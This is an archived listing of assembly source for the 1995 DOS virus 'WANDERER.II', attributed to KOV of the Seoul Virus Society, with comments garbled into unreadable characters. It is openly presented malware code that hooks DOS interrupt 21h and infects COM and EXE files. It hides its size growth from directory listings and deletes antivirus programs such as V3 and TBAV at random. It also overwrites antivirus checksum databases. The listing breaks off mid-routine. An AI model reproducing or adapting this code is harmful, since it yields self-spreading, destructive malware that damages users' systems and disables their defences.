home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KOREACOL.ZIP / WANDERER.ZIP / WANDER-2.ZIP / WAND2.ASM next >
Encoding:
Assembly Source File  |  1997-01-05  |  37.8 KB  |  1,065 lines

  1. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  2. ;
  3. ;                      ñw£w╕a.II (╦bÑi ñß╕σ)
  4. ;                 ********************************
  5. ;
  6. ; ╖íƒq : ñw£w╕a.II (╦bÑiñß╕σ)
  7. ; öaƒe ╖íƒq : -
  8. ; ╣A╕b╕a : ña╖í£ß»a╖ü ïí¼a (KOV : Knight Of Virus)
  9. ; ïa₧ô : ¼ß╢ë ña╖í£ß»a ╡e╨s (SVS : Seoul Virus Society)
  10. ; ╣A╕b╗í : ╨eèé (95æe 8╢⌐ 17╖⌐)
  11. ;
  12. ; ┤σ┤ß : MASM / TASM
  13. ; ╣╖ƒA : ¼w║ü╤w / COM,EXE / ñe ñé»Ñ ┼íùa / ╖e═ü╤w
  14. ;
  15. ; ¼Θíw : ┤e╦í ña╖í£ß»a òA╖í╚ß ╠a╖⌐╖i ╠aèA╨aëí èé¼e ñé»Ñòí ╠aèA╨eöa.
  16. ;        êü¼σ╕±╖a¥í MSAV ê{╖e ╧a¥íïa£æ╖í »⌐╨ùûIÿü òA╖í╚߃i ╠aèA╨ü┤í ╨iê⌡╖íía
  17. ;        ñé»Ñ╖ü ¼b╣Aòí Éi╝a Ñíöaôe ╟aïíƒi ê±¼a╨ü Ñíôe ñwñ≤òí ╣╜╖i ê⌡╖íöa.
  18. ;        æ╝╖e ñß╕σ╖⌐ «ü¥ó ╠a╖⌐╖ü ╟aïíêa ─ß╗íïí öüóà╖íöa.
  19. ;
  20. ;        PC-VAN ╨ü─ßò╖╖i ╢ß╨ü¼ß ╦bÑi ╣A╕bûE ñß╕σ╖íöa.
  21. ;
  22. ;
  23. ;
  24. ;
  25. ;
  26. ;
  27. ;
  28. ;
  29. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  30.  
  31.  PARASIZE EQU  (End_Memory-Entry+0fh) SHR 4 + 10h
  32.  
  33.  VIRUS    SEGMENT PUBLIC 'VIRUS'
  34.           ASSUME  CS:VIRUS ,DS:VIRUS
  35.  
  36.  Entry:   NOP
  37.           jmp  Virus_Start                   ; ña╖í£ß»a »í╕b╖a¥í ╕±╧a
  38.           NOP
  39.           DB   'SP',70h,'VIR'                ; COM ╠a╖⌐╖ü êq╡q╡aªü¥í │a╖Ñöa.
  40.                                              ; Svs Program ╖ü ┤ó╕a╖▒.70╖e ñß╕σ
  41.  
  42. ;<><><><><><><><><><><><><><><><><><><><><><>
  43. ;         ╤┬╕w╕aêa EXE ╖Ñ╗í ê±¼a
  44. ;<><><><><><><><><><><><><><><><><><><><><><>
  45.  
  46.  ChkEXT:
  47.           cmp     word ptr ds:[SI-5],'E.'    ; ╖íúí SI êt╖e ╠a╖⌐ áa╗íáb╡A ╢ß├í
  48.           jnz     ChkAVDF                    ; ╨ü ╖╢┤÷öa.
  49.           cmp     word ptr ds:[SI-3],'EX'
  50.           jz      ChkNIF                     ; ╠a╖⌐ ╖íƒq ê±¼a
  51.  
  52.           ; ┤e╦í ña╖í£ß»a╖ü òA╖í╚ß ╠a╖⌐╖Ñêa?
  53.  ChkAVDF:
  54.           mov     di,offset AVDF - 8         ; òA╖í╚ß ╢ß├í
  55.           mov     cx,0003                    ; 3╥A ñeÑó
  56.  AVDF_Loop:
  57.           mov     si,cs:[FN_Start]           ; ╠a╖⌐ ╖íƒq »í╕b╕±
  58.           push    cx
  59.           add     di,+08                     ; +8 ûß╡A
  60.           mov     cl,08                      ; 8ñσ ºíèa
  61.           push    di                         ; DIêa ñaÄßúa¥í ╕ß╕w
  62.           repz    cmpsb                      ; ºíèa
  63.           jz      Crack_AVDF                 ; áx╖aíe ╠aèA╨q
  64.           pop     di
  65.           pop     cx
  66.           dec     cx                         ; 3╥A ñeÑó╖Ñêa?
  67.           jnz     AVDF_Loop
  68.           RET
  69.  Crack_AVDF:      ; ┤e╦í ña╖í£ß»a òA╖í╚ß╠a╖⌐ ╠aèA
  70.           pop     di
  71.           pop     cx
  72.  Crack_AVDF1:
  73.           mov     byte ptr cs:[F_AVDF],01    ; ╠a╖⌐ ╠aèA(Éa║ù╡A ╡í╧eûEÿü)
  74.           JMP     callInfected
  75.  
  76. ;<><><><><><><><><><><><><><><><><><><><><><>
  77. ;    ñé»Ñ ╧a¥íïa£æ ╠aèA
  78. ;<><><><><><><><><><><><><><><><><><><><><><>
  79.  
  80.  ChkFNisTV:       ; »⌐╨ù║ù╖Ñ╗í ê±¼a »⌐╨ù║ù╖ííe TV ╖Ñ╗í ê±¼a
  81.           cld
  82.           cmp     byte ptr CS:[Active],01    ; 3╢⌐ 19╖⌐ ╖í╕σ╡Aôe ñé»Ñ ╠aèA┤e╨q
  83.           jnz     ChkNIF
  84.           mov     si,cs:[FN_Start]
  85.           mov     ax,word ptr DS:[SI]
  86.           cmp     AX,'VT'                    ; TV ╖Ñêa?
  87.           jz      ChkChance
  88.           cmp     AX,'3V'                    ; V3 ╖Ñêa?
  89.           jz      ChkChance
  90.           cmp     AX,'AK'                    ; KAV ╖Ñêa?
  91.           jz      ChkChance
  92.           cmp     AX,'2T'                    ; TKO öü»Ñ╡A T2 ╠aèA
  93.           jnz     ChkNIF
  94.  
  95.  ChkChance:
  96.           call    Get_randomAL               ; 1/4 ╤┬ƒI¥í ╠aèA
  97.           and     al,03
  98.           cmp     al,03
  99.           jnz     Exit_ChkFN                 ; ┤aôííe êq╡q╣A╢A
  100.  
  101.           Push    DS
  102.           Push    dx
  103.           mov     ah,9                       ; íA»í╗í ┬ë¥b
  104.           push    cs
  105.           pop     ds
  106.           mov     dx, offset Msg2
  107.           Int     21h
  108.  
  109.  Crack_TV:                                   ; ñé»Ñ ¼b╣A
  110.           pop     dx
  111.           pop     ds
  112.           xor     cx,cx                      ; ¡ó¼≈╖i ╖¬ïí/│aïí¥í ñaÄæ
  113.           mov     ax,4301h
  114.           Int     21h
  115.           mov     ah,41h                     ; ╠a╖⌐ ¼b╣A
  116.           Int     21h
  117.           Push    CS                         ; DS:DX
  118.           Pop     DS
  119.           jmp     Print_M                    ; íA»í╗í ┬ë¥b
  120.  
  121.  ChkNIF:
  122.           mov     si,cs:[Fn_START]
  123.           mov     di,offset NIF              ; êq╡q╣A╢A ╠a╖⌐╖ü ╢ß├í
  124.           lodsw                              ; DS:[SI] -> AX
  125.           mov     cx,0008                    ; 8ñσ ê±¼a
  126.           repnz   scasw                      ; ╠a╖⌐ └⌡╕aêa êq╡q╣A╢A ╠a╖⌐╖Ñêa?
  127.           jz      Exit_ChkFN
  128.           mov     si,CS:[Fn_Start]
  129.  ChkVS:   lodsb                              ; DS:SI -> AL
  130.           cmp     al,00                      ; ╠a╖⌐ ╖íƒq Å{╖Ñêa?
  131.           jz      callInfected
  132.           cmp     al,'V'                     ; V ╕a╖Ñêa?
  133.           jz      Exit_ChkFN
  134.           cmp     al,'S'                     ; S ╕a ╖Ñêa?
  135.           jz      Exit_ChkFN
  136.           jmp     ChkVS
  137.  callInfected:
  138.           call    ChkInfected                ; ╠a╖⌐ êq╡q ₧ü╦Ñ ╤í┬ë
  139.  Exit_ChkFN:
  140.           RET                                ; ₧ü╦Ñ╖a¥í ╕±╧a
  141.  
  142. ;<><><><><><><><><><><><><><><><><><><><><><>
  143. ;    £àö±êt ┤Φïí
  144. ;<><><><><><><><><><><><><><><><><><><><><><>
  145.  Get_RandomAL:                               ; AL╡A ╖▒╖ü╖ü êt╖í ╕ß╕w
  146.           push    es
  147.           xor     ax,ax
  148.           mov     es,ax
  149.           mov     al,ES:[046ch]              ; 0000:46Ch ôe ╖▒╖ü╖ü »íêeêt
  150.           pop     es
  151.           RET
  152.  
  153.  MEP_start:
  154. ;      ╗Ñöe╡A¼ß ╣A╢AûAôe ╠a╖⌐ùi:
  155. ;     HW : HWP.EXE       ; ┤a£ü┤a ╨eïi »⌐╨ù ╠a╖⌐
  156. ;     F- : F-PROT.EXE    ; ┤e╦í ñé»Ñ ╧a¥íïa£æ
  157. ;     TB : TBSCAN.EXE    ; TBAV ╢w ê±¼é ╧a¥íïa£æ
  158. ;     CL : CLEAN.EXE     ; áé┤a╧í ╡e╨s╖ü ├í₧a╢w ╧a¥íïa£æ
  159. ;     CO : COMMAND.COM   ;
  160. ;     WC : WCD.EXE       ;
  161. ;     TK : TKO.EXE       ; ╚a╟í╡Ñ ñé»Ñ
  162. ;     T2 : T2.EXE        ; ╚a╟í╡Ñ II ñé»Ñ
  163.  NIF      DB      'HWF-TBCLCOWCTKT2'
  164.           DW      ?,?                        ; úí£üƒi ╢ß╨ü 2êü ╡aªà Éqëaûæ
  165.  
  166. ;     CHKLIST. MS        ; MSAV ╢w
  167. ;     CHKLIST. CPS       ; CPAV ╢w
  168. ;     SMARTCHK.CPS       ; CPAV ┬A»Ñ ñß╕σ╢w
  169. ;     ANTI-VIR.DAT       ; TBAV ╢w
  170.  AVDF     DB      'CHKLIST.SMARTCHKANTI-VIR',00
  171.  
  172. ;
  173. ; ╤┴íe╡A ┬ë¥b╨iÿü ¼a╢wûAôe óà╕a╡i
  174.  Msg1 DB  0Dh,0Ah                            ; ╨e─e ¢ü╢üïí
  175.       DB  ' *[ The WANDERER.II (for PC-VAN/Hacker dong) VIRUS   1995/08/17 ]*'
  176.       DB  0Dh,0Ah
  177.       DB  '   (c) Copyleft 9187-9192 by KOV of SVS,COREA',0Dh,0Ah,00h
  178.  
  179.  Msg2     DB     0Dh,0Ah
  180.           DB     ' Join us! Join together! SVS!$'
  181.  MEP_END:                                    ; ╖íóà╕wîa╗í ┤q╤í╤┴ ûEöa.
  182.  
  183. ;<><><><><><><><><><><><><><><><><><><><><><>
  184. ;  ╖e═ü ïíñ≤ ¼a╢w (Stealth Technique)
  185. ;<><><><><><><><><><><><><><><><><><><><><><>
  186.  FCBstealth:
  187.           xchg    ah,al
  188.           call    dword ptr cs:[OldInt21]  ; DIR ïíôw ╤í┬ë
  189.           pushf
  190.           cmp     al,0FFh                  ; ╡A£ß?
  191.           jz      Exit_Stealth
  192.           nop
  193.  
  194.           push    ax
  195.           push    si
  196.           push    ds
  197.           mov     si, word ptr cs:[DosDTA]   ; DIR »í 1ah ïíôw╖í ¼a╢wûAôeòA
  198.           mov     ds, word ptr cs:[DosDTA+2] ; ╖íúí êa¥í└à╥üöa.
  199.           cmp     byte ptr DS:[SI],0FFh      ; ╤┬╕w FCB ╖Ñêa?
  200.           jnz     No_NFCB
  201.           add     SI,+07                     ; ╤┬╕w╢w FCBƒi FCB ╡┴ ╔╖╖⌐ »í╟▒
  202.  No_NFCB: mov     AL,byte ptr ds:[SI+17h]    ; ┴íƒi ┤Φôeöa.
  203.           and     AL,1Fh                     ; êq╡q╡aªü ê±¼a
  204.           NOP
  205.           cmp     AL,1Fh
  206.           JNZ     No_Infected
  207.           nop
  208.           cmp     byte ptr ds:[SI+09h],'C'   ; COM ╠a╖⌐ ╖Ñêa?
  209.           jz      Sub_COM
  210.           SUB     WORD PTR ds:[SI+1Dh],offset END_VIRUS + 16 ; EXE ╠a╖⌐ ╖e═ü
  211.           sbb     WORD PTR ds:[SI+1fh],+00
  212.           jmp     No_Infected
  213.  Sub_COM: SUB     Word ptr ds:[SI+1Dh],offset END_VIRUSCOM ; COM ╠a╖⌐ ╖e═ü
  214.           sbb     word ptr ds:[SI+1Fh],+00
  215.  No_Infected:
  216.           pop     ds
  217.           pop     si
  218.           pop     ax
  219.  Exit_Stealth:
  220.           popf
  221.           RETF 0002                          ; ╢Ñ£üöü¥í ò⌐┤aêaïí
  222.  
  223. ;<><><><><><><><><><><><><><><><><><><><><><>
  224. ;   ña╖í£ß»aêa êa¥í└üôe Int 21h êt
  225. ;<><><><><><><><><><><><><><><><><><><><><><>
  226.           NOP
  227.           NOP
  228.  VirInt21:
  229.           pushf
  230.           xchg    ah,al                      ; AH,AL ñaÄüïí
  231.           cmp     ax,070F0h                  ; ña╖í£ß»a ¼w║ü╡aªü ê±¼a╖Ñêa?
  232.           jnz     Chk_AX
  233.           xor     ax,ax                      ; AX=0000╖i ║àöa.
  234.           popf
  235.           IRET                               ; ña╖í£ß»aêa £æ╡A ╖╢öaôe ê⌡╖i ┤i¥v
  236.           nop                                ; ╖q
  237.  
  238.  Chk_AX:  cmp    al,11h                      ; DIR íw¥w╖Ñêa?
  239.           jz     FCBStealth
  240.           cmp    al,12h                      ; DIR íw¥w╖Ñêa?
  241.           jz     FCBStealth
  242.           NOP
  243.           cmp    al,3Dh                      ; ╡í╧e
  244.           jz     Push_
  245.           cmp    al,41h                      ; ╠a╖⌐ ╗í╢üïí
  246.           jz     Push_
  247.           cmp    al,43h                      ; ¡ó¼≈ ┤Φïí/ñaÄüïí
  248.           jz     Push_
  249.           cmp    al,4Bh                      ; »⌐╨ù
  250.           NOP
  251.           jnz    ChkALis56h
  252.           cmp    byte ptr CS:[F_Execute],02  ; íyñσ╝ü »⌐╨ù╖Ñêa?
  253.           ja     Push_
  254.           inc    byte ptr CS:[F_Execute]     ; +1
  255.  ChkALis56h:
  256.           cmp    al,56h                      ; ╖íƒq ñaÄüïí
  257.           jz     Push_
  258.           cmp    al,6ch                      ; ¼ü¥í╢à ╡í╧e ñw»ó
  259.           jz     Push_
  260.  
  261.           cmp    al,1ah                      ; DIR ╕σ╡A ╤í┬ëûQ
  262.           jnz    Go_Int21
  263.           mov    word ptr cs:[DosDTA],dx
  264.           mov    word ptr cs:[DosDTA+2],ds
  265.  
  266.  Go_Int21:                                   ; ╢Ñ£ü int 21¥í ╕±╧a
  267.           xchg   al,ah                       ; ╢Ñ£ü êt╖a¥í ñaÄüïí
  268.           popf
  269.           DB     0EAh                        ; JMP xxxx:xxxx
  270.  OldInt21 DD     ?
  271.  
  272.           NOP
  273.           NOP
  274.  callInt21:                                  ; ╢Ñ£ü Int 21h Éü╢w ╤í┬ë
  275.           xchg   ah,al
  276.           NOP
  277.           pushf
  278.           call   dword ptr CS:OldInt21
  279.           RET
  280.  
  281.  Push_:   xchg   ah,al                       ; ╢Ñ£ü AX
  282.           Push   ax                          ; ¥A╗í»a╚ß ╕ß╕w
  283.           Push   bx
  284.           Push   cx
  285.           Push   dx
  286.           Push   ds
  287.           Push   es
  288.           Push   si
  289.           Push   di
  290.  
  291.           cmp    ah,6Ch                      ; ¼ü¥í╢à ╡í╧e╖Ñêa?
  292.           jnz    C_GetFstName                ; ┤aôííe ╠a╖⌐╖íƒq»í╕b╢ß├í┤Φïí
  293.           mov    dx,si                       ; SI=╠a╖⌐ ╡í╧a¡Uêt
  294.           NOP
  295.  C_GetFstName:
  296.           call   Get_FstName                 ; ╠a╖⌐ »í╕b ╢ß├í ┤Φïí
  297.                                              ; SI= ╠a╖⌐ ╖íƒqÅ{╢ß├í
  298.  ChkAH4B:
  299.           cmp    ah,4bh                      ; »⌐╨ù╖Ñêa?
  300.           NOP                                ; »⌐╨ù╖í ┤aôííe ╤┬╕w╕aêa EXE ╖Ñ╗í
  301.           jnz    c_ChkEXT                    ; ê±¼a╨q
  302.           NOP
  303.           call   ChkFNisTV                   ; ñé»Ñ ╧a¥íïa£æ ╖Ñ╗í ê±¼a╨ü ╗í╢æ
  304.           jmp    Pop_
  305.  C_ChkEXT:
  306.           call   ChkEXT                      ; ╤┬╕w╕a ê±¼a
  307.                                              ; EXE ╖ííe ╠a╖⌐ ╖íƒq ê±¼a
  308.                                              ; ïa╢A ╠a╖⌐╖ííe ┤e╦í ña╖í£ß»a╠a╖⌐
  309.                                              ; ╖Ñ╗í ê±¼a
  310.                                              ; Å{Éàöa.
  311.  Pop_:    Pop    di                          ; ¥A╗í»a╚ß Ñóèü
  312.           Pop    si
  313.           Pop    es
  314.           Pop    ds
  315.           Pop    dx
  316.           Pop    cx
  317.           Pop    bx
  318.           Pop    ax
  319.           mov    byte ptr CS:[F_AVDF],00     ; 01╖ííe öaƒe ╠a╖⌐òí ╠aèAûAúa¥í
  320.           xchg   ah,al
  321.           jmp    Go_Int21                    ; ╢Ñ£ü Int 21h ¥í ╕±╧a
  322.  
  323. ;<><><><><><><><><><><><><><><><><><><><><><>
  324. ;  ╠a╖⌐ êq╡q »í╟íïí
  325. ;<><><><><><><><><><><><><><><><><><><><><><>
  326.  ChkInfected:
  327.           call    Get_RandomAL               ; £àö± AL êt èü╨aïí
  328.           mov     byte ptr CS:[ME_DATA],al   ; ┤q╤í╤┴╡A ¼a╢w╨i êt
  329.           call    Msg_Encrypting             ; íA¡A╗í ┤q╤í╤┴ ╨aïí
  330.           Push    dx
  331.  
  332.                                              ; ùí»a╟a╖ü ºÑë╖êe╖i ┤i┤aÉæ
  333.           NOP
  334.           mov     si,dx
  335.           xor     dl,dl
  336.           cmp     byte ptr ds:[SI+01],':'    ; öaƒe ùa£a╖íºa ╖Ñêa?
  337.           jnz     GetDSKspace
  338.           mov     dl,byte ptr ds:[si]        ;
  339.           and     dl,1fh
  340.  
  341.  GetDSKspace:
  342.           mov     al,36h                     ; ºÑë╖êe ┤i┤aÉüïí
  343.           call    callInt21
  344.           cmp     ax,0FFFFh                  ; ╡A£ß╖Ñêa?
  345.           jz      GetDSK_err
  346.           cmp     bx,+04                     ; Éq╖eê⌡╖e 4¡B╚ß╖Ñêa?
  347.           ja      Set_Int24
  348.  GetDSK_err:
  349.           Pop     DX
  350.           jmp     Exit
  351.  
  352.  Set_Int24:       ; ├ííw╕Γ╖Ñ ╡A£ßêa Éaòí óë┤ßÑí╗í ┤gëí ïaÉ╖ É±ïÑöa.
  353.           Pop     DX
  354.           mov     cx,ds
  355.           xor     ax,ax
  356.           mov     ds,ax
  357.           les     ax,DS:[0090h]
  358.           push    ax                         ; Int 24h êa¥í └üïí
  359.           push    es
  360.           mov     word ptr DS:[0090h],offset VirInt24
  361.           mov     word ptr DS:[0092h],cs
  362.  
  363.           NOP
  364.           mov     ds,cx
  365.           Push    DS
  366.           Push    DX
  367.           mov     ax,0043h                   ; ¡ó¼≈ ┤i┤aÉüïí
  368.           call    callInt21
  369.           Push    CX
  370.  
  371.           xor     cx,cx
  372.           mov     ax,0143h                   ; ╖¬ïí/│aïí êaôw╨aëA ñaÄæ
  373.           call    callInt21
  374.           jnc     attr_succ
  375.           jmp     Open_error
  376.  
  377.  attr_succ:
  378.           mov     ax,023dh                   ; ╠a╖⌐ ╡í╧e
  379.           call    callInt21
  380.           jnc     open_succ
  381.           jmp     open_error
  382.  
  383.  OPen_succ:
  384.           push    cs
  385.           pop     ds
  386.           push    cs
  387.           pop     es
  388.  
  389.           xchg    bx,ax
  390.           mov     ax,0057h                   ; ╢Ñ£ü ╠a╖⌐╖ü Éi╝a/»íêe╖i ┤i┤aÉæ
  391.           call    callInt21
  392.           push    dx
  393.           mov     word ptr FileTime,cx       ; »íêe ╕ß╕w(êq╡q╥ü╡A Ñe╨aúa¥í)
  394.  
  395.  CmpF_AVDFis1:
  396.           cmp     byte ptr CS:[F_AVDF],01    ; │iòA┤⌠ôe ╠a╖⌐╖ííe ╠aèA»í╟Ñöa.
  397.           jnz     ChkFileSize                ;
  398.           mov     ah,40h
  399.           mov     dx, offset End_Memory      ; ╢ß├íôe ña╖í£ß»aêa ┤aôí£a Å{ªüªà
  400.           mov     cx,2048                    ; 2KB ës┴a│aïí
  401.           Int     21h
  402.           jmp     InfectedTime
  403.  
  404.  ChkFileSize:
  405.           mov     al,02                      ; ╠a╖⌐╖ü Å{╖a¥í êaïí
  406.           call    SetPnt
  407.  
  408.           NOP
  409.           or      dx,dx                      ; 64KB Ñíöa╟eêa?
  410.           jnz     ChkFileType
  411.           cmp     ax,7654                    ; 7654 Ñíöa ╕b╖eêa?
  412.           ja      ChkFileType
  413.  Too:     jmp     Restore_DT                 ; ╖íëw╢üôe êq╡q╖í ┤eûA┤÷╖aúa¥í ╕≈
  414.                                              ; ¼w »íêe╖íöa.
  415.  ChkFileType:
  416.           cmp     dx,0006                    ; ï⌐╖íêa 300KB ƒi É±ôeöa.
  417.           ja      Too
  418.           mov     word ptr FileSize,ax
  419.           mov     word ptr FileSize[2],dx
  420.           mov     COM_size,ax                ; ╕ü»⌐╨ùÿü ¼a╢w╨i ï⌐╖í (COM ╢w)
  421.  
  422.  Read_File:
  423.           mov     al,00                      ; └ß╖q╖a¥í ╖íò╖
  424.           call    SetPnt
  425.  
  426.           mov     al,3fh                     ; ╠a╖⌐╖ü ┤|ªüªà╖i ╖¬┤ß ùi╖▒
  427.           mov     dx,offset Buffer4F         ; ╖¬┤ßùi╖⌐ ║ü¡í
  428.           mov     si,dx
  429.           mov     cx,0066h                   ; ï⌐╖í
  430.           call    callInt21
  431.           jnb     Read_ok
  432.           jmp     Restore_DT
  433.  
  434.  Read_ok:
  435.           mov     al,00h
  436.           call    setPnt
  437.           mov     ax,word ptr Buffer4F       ; AX ╡A ╠a╖⌐ └ß╖q╖ü êt
  438.           cmp     ax,'MZ'                    ; EXE ╠a╖⌐╖Ñ╗í ºíèa
  439.           jz      TypeisEXE
  440.           cmp     ax,'ZM'                    ; 'ZM'╖í┤÷Éa?
  441.           jnz     Infect_COM
  442. ;         cmp     byte ptr DS:[Active],00    ; 3╢⌐ 08╖⌐ ╥ü╡A EXE ╠a╖⌐êq╡q
  443. ;         jz      Go_etDT
  444.  TypeisEXE:
  445.           jmp     infect_EXE
  446. ;         Jmp     Restore_DT                 ; 3╢⌐ 8╖⌐ ╖í╕σ╖ííe COM áeêq╡q
  447.  
  448.  
  449.  Infect_COM:      ;<><><><><><><><><><><><><>
  450.                   ;   COM ╠a╖⌐╖i êq╡q »í╟Ñöa.
  451.           NOP     ;<><><><><><><><><><><><><>
  452.           cmp     word ptr ds:COM_size,63000 ; 63000 ╖í¼w╖ü ╠a╖⌐╖Ñêa?
  453.           ja      Restore_DT                 ; êq╡q ╣A╢A
  454.           xor     di,di                      ; ña╖í£ß»a╡┴ └ß╖q 7ña╖í╦a ºíèa
  455.           mov     cx,0007h                   ;
  456.           repz    cmpsb
  457.           jnz     Alloc_COM_MEM
  458.           jmp     InfectedTime               ; ╖íëw╢üôe ┴íƒi Ñeëw»í╟Ñöa.
  459.  
  460.  Alloc_COM_MEM:
  461.           push    bx
  462.           mov     bx,1000h                   ; 64kb ╨iöw
  463.           mov     al,48h
  464.           call    callInt21
  465.           jnc     memory_ok                  ;
  466.           pop     bx
  467.           jmp     Restore_DT                 ; íAííƒí ªü╣ó?
  468.  memory_ok:
  469.           nop
  470.           mov     es,ax                      ; AX╡A ║ü¡í
  471.           nop
  472.           xor     si,si                      ; si,di =0000
  473.           pop     bx                         ; ╠a╖⌐ ╨àùi Ñóèü
  474.           xor     di,di
  475.           mov     cx,offset End_virusCOM     ; ña╖í£ß»a ï⌐╖íáe╟q ïa íAííƒí¥í
  476.                                              ; Ñó¼a
  477.           repz    movsb                      ; DX=╢Ñ£ü ╠a╖⌐ ╖¬╖ië╡
  478.           mov     cx,com_size                ; ╢Ñ£ü ╠a╖⌐╖ü ï⌐╖í
  479.           mov     dx,di
  480.           push    es
  481.           mov     al,3fh                     ; ╖¬┤ß ùi╖▒
  482.           pop     ds
  483.           call    callInt21
  484.           jb      Restore_DT
  485.  
  486.           mov     al,00                      ; ╠a╖⌐ └ß╖q╖a¥í ╖íò╖
  487.           call    SetPnt
  488.  
  489.           mov     cx,com_size                ; ╢Ñ£ü╖ü ╠a╖⌐╡A ña╖í£ß»a áe╟q öß╨q
  490.           add     cx,offset End_virusCOM
  491.           xor     dx,dx
  492.           mov     al,40h                     ; ùí»a╟a╡A ╕ß╕w
  493.           call    callInt21
  494.  
  495.           NOP
  496.           mov     al,49h                     ; íAííƒí ╤A╣A
  497.           call    callInt21
  498.  
  499.           push    cs
  500.           pop     ds
  501.  
  502.  InfectedTime:
  503.           or     word ptr FileTime,+1Fh      ; 61┴í¥í...
  504.  Restore_DT:
  505.           pop     dx                         ; Éi╝a Ñóèü
  506.           mov     cx,word ptr FileTime       ; êq╡q»⌐╠üíe ╕≈¼w╕Γ╖Ñ »íêeùi┤ß╡▒
  507.           mov     ax,0157h                   ; Éi╝a/»íêe ╕≈¼w╖a¥í Ñóèü
  508.           call    callInt21
  509.  
  510.  Close_file:
  511.           MOV     al,3eh                     ; ╠a╖⌐ öhïí
  512.           call    callInt21
  513.           nop
  514.  
  515.  Open_error:                                 ; ╡í╧e »⌐╠ü»í
  516.           mov     ax,0143h                   ; ╢Ñ£ü ¡ó¼≈╖a¥í
  517.           pop     cx
  518.           pop     dX
  519.           pop     DS
  520.           Call    callInt21
  521.  Attr_error:                                 ; ¡ó¼≈ »⌐╠ü»í
  522.           xor     ax,ax
  523.           mov     ds,ax
  524.           pop     DS:[0092h]
  525.           pop     DS:[0092h]
  526.  
  527.  Exit:                                       ; ╢Ñ£ü int 21h¥í ╕±╧a
  528.           call    Msg_Encrypting             ; ┤q╤í╤┴ ╬ëïí
  529.           RET
  530.  
  531. ;<><><><><><><><><><><><><><><><><><><><><><>
  532. ;         EXE ╠a╖⌐ êq╡q
  533. ;<><><><><><><><><><><><><><><><><><><><><><>
  534.  Infect_EXE:
  535.           mov     word ptr NEType,00         ; NE ╚a╖│╖ü EXE ╠a╖⌐╖Ñ╗í ê±¼a
  536.           mov     dx, DS:[SI+60]             ; OS/2 & Windows
  537.           mov     cx, DS:[SI+62]
  538.           mov     ax,4200h
  539.           Int     21h
  540.           mov     cx,0002
  541.           mov     dx, offset NEType          ; ╖¬ïí
  542.           mov     ah,3Fh
  543.           Int     21h
  544.           cmp     word ptr DS:[NEType],'EN'  ; NE ╖ííe êq╡q ╣A╢A
  545.           jnz     ChkOVr                     ; ╡íñߥA╖í ╖Ñ╗í ê±¼a
  546.           Jmp     Restore_DT
  547.  
  548.  ChkOVR:
  549.           NOP
  550.           mov     ax, DS:[SI+04h]            ; »⌐╣Aï⌐╖í╡┴ ╤Aößï⌐╖í╡┴ ºíèa
  551.           cmp     word ptr [SI+02h],00       ; (Éüªü ╡íñߥA╖í EXE ╠a╖⌐╖e
  552.           jz      MUL_200                    ; êq╡q╣A╢AûQ)
  553.           DEC     AX
  554.  Mul_200: mul     word ptr Mul200
  555.           add     ax,[SI+02h]
  556.           ADC     dx,+00
  557.           cmp     word ptr FileSize,AX
  558.           jz      ChkSize_2
  559.           JMP     Restore_DT
  560.  ChkSize_2:
  561.           cmp     word ptr FileSize+2,DX
  562.           jz      Chk_EXEinfected            ; êq╡q ╡aªü ╠eöe
  563.           JMP     Restore_DT
  564.  
  565.  Chk_EXEinfected:
  566.           cmp     word ptr [SI+12h],0F070h   ; êq╡q╡aªüôe ûüêa╗íêa ¼a╢wûEöa.
  567.           jnz     Modify_EXE
  568.           cmp     word ptr [SI+14h],offset EXE_Start ; IPêt
  569.           jnz     Modify_EXE
  570.           jmp     InfectedTime               ; ╖íúí êq╡qûA┤÷╖q. ┴íôe »a╔I»aƒi
  571.                                              ; ╢ß╨ü ñaÄæ (╤ó»í ñaÄß┤÷╖i«üòí
  572.                                              ; ╖╢╖aúa¥í)
  573.  Modify_EXE:
  574.           mov     word ptr [SI+12h],0F070h   ; êq╡q »óÑi╕a │aïí
  575.           Push    CS
  576.           Pop     DS
  577.           mov     si, offset Buffer4F[0Eh]   ; ╤Aöß Éü╢w Ñó¼a»í╟▒
  578.           mov     di, offset EXE_SS
  579.           mov     cx,0010
  580.           repz    movsb
  581.  
  582.           call    Get_RandomAL               ; Ée«üêt╖i AL ¥í ªë£ßùi╖▒
  583.           mov     byte ptr Ra_Time[1],al     ; ┤q╤í╟í
  584.           xor     byte ptr ds:[E_loop],08    ; INC AX/DEC AX ¥í Ñe╤┼
  585.           push    cs
  586.           pop     es
  587.           call    EXE_DATA_ENCRY             ; EXE òA╖í╚ßêt ┤q╤í╤┴
  588.  
  589.           mov     al,02                      ; ╠a╖⌐ Å{╖a¥í êaïí
  590.           call    SetPnt
  591.  
  592.           NOP                                ; áéêa╖íñßê⌡╖i ¼a╢w╨û╖q
  593.           mov     cx,ax                      ; 16╖ü ñü«ü¥í áeùiïí
  594.           add     ax,0010h
  595.           adc     dx,+00
  596.           and     ax,0FFF0h
  597.  
  598.           Push    AX                         ; FileSize
  599.           Push    DX                         ; FileSize[2]
  600.           and     cx,000Fh                   ; ╖íªüªà╖í ╦b╕≈ ï⌐╖íáe╟q
  601.           ADD     cx,offset End_Virus        ; ╗wêa╨aëA ╨aôeê⌡╖▒. (ña
  602.           add     ax,cx                      ; ╖í£ß»a ï⌐╖í Ñíöaôe +16ûQ)
  603.           adc     dx,+00
  604.           mov     word ptr FileSize,ax
  605.           mov     word ptr FileSize[2],dx
  606.           mov     cx,0200h                   ; /512
  607.           div     cx
  608.           or      dx,dx                      ; Éaáß╗íêa ╖╢ôeêa?
  609.           jz      No_inc
  610.           inc     ax
  611.  No_inc:  mov     word ptr Buffer4F[2],dx
  612.           mov     word ptr Buffer4F[4],ax
  613.  
  614.           Pop     DX                         ; FileSize+2
  615.           Pop     AX                         ; FileSize
  616.           Push    AX
  617.           Push    DX
  618.           mov     cx,0010h                   ;
  619.           div     cx                         ;
  620.           sub     ax,word ptr Buffer4F[08h]  ;
  621.           mov     word ptr Buffer4F[14h],offset EXE_start
  622.           mov     word ptr Buffer4F[16h],ax  ; ëü¼eûE ¡Aïaáσ╦a
  623.           mov     word ptr Buffer4F[0Eh],ax
  624.           mov     word ptr Buffer4F[10h],offset End_Virus
  625.  
  626.           mov     al,00
  627.           call    SetPnt
  628.  
  629.           mov     al,40h                     ; EXE ╤Aöß Éü╢w │aïí
  630.           mov     cx,001ch
